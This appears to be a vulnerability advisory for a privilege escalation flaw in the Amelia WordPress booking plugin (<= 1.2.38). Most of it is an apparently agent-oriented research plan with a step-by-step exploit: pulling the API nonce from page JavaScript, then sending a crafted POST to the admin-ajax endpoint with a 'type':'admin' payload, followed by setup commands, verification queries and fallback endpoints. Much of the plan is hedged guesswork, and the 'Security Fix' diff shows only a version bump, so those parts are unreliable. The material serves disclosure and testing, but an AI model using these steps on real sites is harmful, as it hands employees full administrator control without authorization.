Booking for Appointments and Events Calendar – Amelia <= 1.2.38 - Authenticated (Employee+) Privilege Escalation
Description
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.38. This makes it possible for authenticated attackers, with employee-level access and above, to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.2.38What Changed in the Fix
Changes introduced in v2.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-24963 Amelia Privilege Escalation ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (<= 1.2.38) is vulnerable to an **Authenticated Privilege Escalation**. The vulnerability exists within the plugin's internal API (handled via…
Show full research plan
Research Plan: CVE-2026-24963 Amelia Privilege Escalation
1. Vulnerability Summary
The Booking for Appointments and Events Calendar – Amelia plugin (<= 1.2.38) is vulnerable to an Authenticated Privilege Escalation. The vulnerability exists within the plugin's internal API (handled via a Slim framework instance) because it fails to perform adequate authorization checks on the type parameter during user update or creation operations.
In Amelia, the type field defines the user's role (e.g., customer, provider, manager, admin). An authenticated user with "Employee" (provider) privileges can send a crafted request to the Amelia API to modify their own user record or create a new one, setting the type to admin. In many configurations, Amelia synchronizes these internal roles with WordPress roles, leading to full site administrator access.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php?action=wpamelia_api&call=/users/<id> - Method:
POST - Action:
wpamelia_api(defined byAMELIA_ACTION_SLUGinameliabooking.php) - Vulnerable Parameter:
typewithin the JSON request body. - Authentication: Required. The attacker must have at least an Amelia Employee (
provider) role, which allows them access to the Amelia backend dashboard. - Preconditions: The Amelia plugin must be active. The attacker needs their own Amelia User ID.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.php?action=wpamelia_api&call=/users/5. - AJAX Handler:
Plugin::wpAmeliaApiCall()inameliabooking.phpis triggered. - Routing: It initializes the Slim
Appand callsRoutes::routes($app, $container). - Controller: The request is routed to the
UserController(typicallyAmeliaBooking\Application\Controller\User\UpdateUserControlleror similar). - Authorization Failure: The controller checks if the user is authenticated and has "Amelia" access, but it fails to verify if a
provider(Employee) should be allowed to modify thetypefield toadmin. - Data Persistence: The service layer updates the
wp_amelia_userstable and, if role synchronization is enabled, calls WordPress'swp_update_userorset_rolefunctions to elevate the WP user role.
4. Nonce Acquisition Strategy
Amelia requires an Amelia header (or sometimes a cookie/parameter) containing a valid nonce for its API calls. This nonce is typically localized in the WordPress backend for Amelia pages.
- Shortcode/Page: Amelia's backend uses the
wp-adminenvironment. No specific frontend shortcode is needed, but the agent must be logged in as an Employee. - Access Dashboard: Navigate to the Amelia "Employees" or "Appointments" page in the WP dashboard (
/wp-admin/admin.php?page=wpamelia-employees). - JS Variable Extraction: Amelia stores its configuration and nonces in a global JS object. Based on the plugin's structure, the target variable is usually
wpAmeliaLabelsorameliaBookingData. - Agent Command:
Note: In 1.2.38, the key is frequently// Use browser_eval to find the nonce browser_eval("window.wpAmeliaLabels.ameliaApiNonce || window.ameliaBookingData.nonce")ameliaApiNonceinside the localized object.
5. Exploitation Strategy
Step 1: Identify Current User ID
The attacker needs their internal Amelia User ID. This can be found by inspecting the "Employees" list or the initialization data in the dashboard.
Step 2: Craft the Elevation Request
Send a POST request to the API to update the attacker's own user profile.
- URL:
http://<target>/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/<YOUR_AMELIA_USER_ID> - Headers:
Content-Type: application/jsonAmelia: <NONCE_EXTRACTED_FROM_STEP_4>
- Body (JSON):
{
"firstName": "Attacker",
"lastName": "User",
"email": "attacker@example.com",
"type": "admin",
"status": "visible"
}
The key payload is "type": "admin".
Step 3: Trigger Role Sync (If necessary)
If the roles do not sync immediately, navigating to any Amelia settings page as the newly promoted "Amelia Admin" often triggers the UserRoles::updateRoles() logic which synchronizes the WordPress role to administrator.
6. Test Data Setup
- Create Employee User:
wp user create attacker attacker@example.com --role=subscriber # Assign Amelia Employee role (this may require Amelia-specific CLI or manual DB insert if WP-CLI is unaware of Amelia roles) wp eval "AmeliaBooking\Infrastructure\WP\UserRoles\UserRoles::setAmeliaUserRole(get_user_by('email', 'attacker@example.com'), 'provider');" - Ensure Plugin is Configured: Ensure the plugin is active and initialized.
7. Expected Results
- The API response should return the updated user object with
"type": "admin". - The user's internal Amelia role changes from
providertoadmin. - The WordPress user
attackeris elevated to theadministratorrole.
8. Verification Steps
- Check WP Role:
Success is indicated bywp user get attacker --field=rolesadministrator. - Check Amelia DB:
Success is indicated by the valuewp db query "SELECT type FROM wp_amelia_users WHERE email='attacker@example.com'"admin.
9. Alternative Approaches
If the direct /users/<id> endpoint is hardened, check the /users endpoint (POST) for creating a new user.
- Alternative Endpoint:
POST admin-ajax.php?action=wpamelia_api&call=/users - Payload: Create a new user with an email the attacker controls and set
type: "admin". - Note: In Amelia, the Slim routes are registered in
src/Infrastructure/Routes/Routes.php. If source access were complete, one would check all routes using theUserController. - Fallback Nonce Location: If not in
wpAmeliaLabels, check for theamelia_noncecookie which is sometimes used as a fallback or in older versions.
Summary
The Amelia plugin for WordPress (<= 1.2.38) is vulnerable to privilege escalation via its internal REST API. Authenticated users with Employee (provider) level access can update their own user record—or create a new one—with the 'type' parameter set to 'admin', which elevates their internal plugin permissions and synchronizes their WordPress account to the administrator role.
Vulnerable Code
// ameliabooking.php line 85 if (!defined('AMELIA_ACTION_SLUG')) { define('AMELIA_ACTION_SLUG', 'action=wpamelia_api&call='); } // ameliabooking.php line 159 public static function wpAmeliaApiCall() { try { /** @var Container $container */ $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php'; $app = new App($container); // Initialize all API routes Routes::routes($app, $container); $app->run(); exit(); } catch (Exception $e) { echo 'ERROR: ' . esc_html($e->getMessage()); } } --- // ameliabooking.php line 629 add_action( 'profile_update', array('AmeliaBooking\Infrastructure\WP\UserService\UserService', 'updateAmeliaUser'), 10, 3);
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Amelia Plugin URI: https://wpamelia.com/ Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep! -Version: 1.2.38 +Version: 2.0 Author: Melograno Ventures Author URI: https://melograno.io/ Text Domain: ameliabooking @@ -104,7 +103,7 @@ // Const for Amelia version if (!defined('AMELIA_VERSION')) { - define('AMELIA_VERSION', '1.2.38'); + define('AMELIA_VERSION', '2.0'); }
Exploit Outline
1. Log in to the WordPress admin dashboard with an account assigned the Amelia Employee (provider) role. 2. Locate the Amelia API nonce (typically ameliaApiNonce) within the localized JavaScript objects (wpAmeliaLabels or ameliaBookingData) on any Amelia-related admin page. 3. Determine the attacker's internal Amelia User ID, which can be found in the dashboard's initialization data. 4. Send a POST request to /wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/<YOUR_ID> using the retrieved ID. 5. Include the header 'Amelia: <NONCE>' and a JSON body containing the payload {"type": "admin"}. 6. The plugin's failure to restrict the 'type' parameter during updates allows the user role to change to administrator internally, which then triggers the WordPress role synchronization.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.